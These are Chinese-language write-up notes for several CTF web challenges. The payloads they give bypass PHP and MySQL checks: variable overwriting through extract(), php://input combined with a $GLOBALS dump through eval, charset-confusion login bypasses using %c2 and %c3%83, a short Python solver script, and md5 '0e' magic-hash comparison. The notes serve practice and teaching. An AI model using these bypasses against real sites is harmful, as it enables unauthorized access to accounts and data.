1.
看源碼
POST方法。Extract覆蓋。 直接url ?參數不行,因為POST參數不在URL上,GET參數才在
Burpsuite抓包,改成 pass=1&thepassword_123=1,這樣就相等了
2.
題目大概:
$u=$_GET[‘$user’]
$f=$_GET[‘$variable’]
If(isset($u)&&File_get_content($u,’r’)===”im admin”){
If(preg_match(‘/flag/’))
Error
Else
Eval(“var_dump($$f);”)
}
主要是兩個地方:===的判斷和繞過preg_match(‘/flag/’)
Burpsuite 右鍵change request method 為post
然后url …/?user=php://input&variable=globals
下方輸入 im admin
3.
<h1><center>If you want to login, please let me get username and password.</center></h1>
<!-- mysql_query("set names utf8");
function check_username($str){
if(preg_match("/^admin$/i",$str)){
return 1;
}
for($i=195;$i<240;$i++){
if(preg_match("/".chr($i)."/i",$str)){
return 1;
}
}
return 0;
}
function check_password($str){
if(preg_match("/admins/i",$str)){
return 1;
}
return 0;
}
$sql="select * from user where username='$username' and password='$password'"; a/a-->
題目提示了,用戶名admin,password admins。以及可以用username a,password a先試試。
只需要繞過檢測。
檢測:admin和admins
繞過admin檢測:Username=admin%c2。 除了檢測admin還檢測195-39的ascii字符,而%c2在194的范圍內。
繞過password檢測: Mysql 默認字符latin1,。頁面顯示是utf-8。用字符轉換的漏洞代替password的a:password=%c3%83dmins
5.
先抓包試試
發到repeater,go。發現reponse有flag。但是這個flag每次變化。Base64解碼兩次每次是不同的一串數字。
再看題目提示,應該是把這個flag當做message post出去
速度很快,每次flag不一樣,所以用代碼(腳本/或者手速特別快)。得到最后的flag。
#coding:utf-8
import requests
import base64
url='http://192.168.8.160/web/fast/'
s=requests.Session()
header=s.get(url).headers
print(header)
flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() #對其進行base64兩次解密
data={'message':flag}
print(s.post(url=url,data=data).content.decode())
6.
鼠標點不到。檢查。
雖然點不到,但是看代碼知道點到會跳到 /?key=700的url。
8
QNKCDZO md5 編碼為0exxxx
PHP對所有0e開頭(16進制)字符串認為相等
在構造一個0e開頭的即可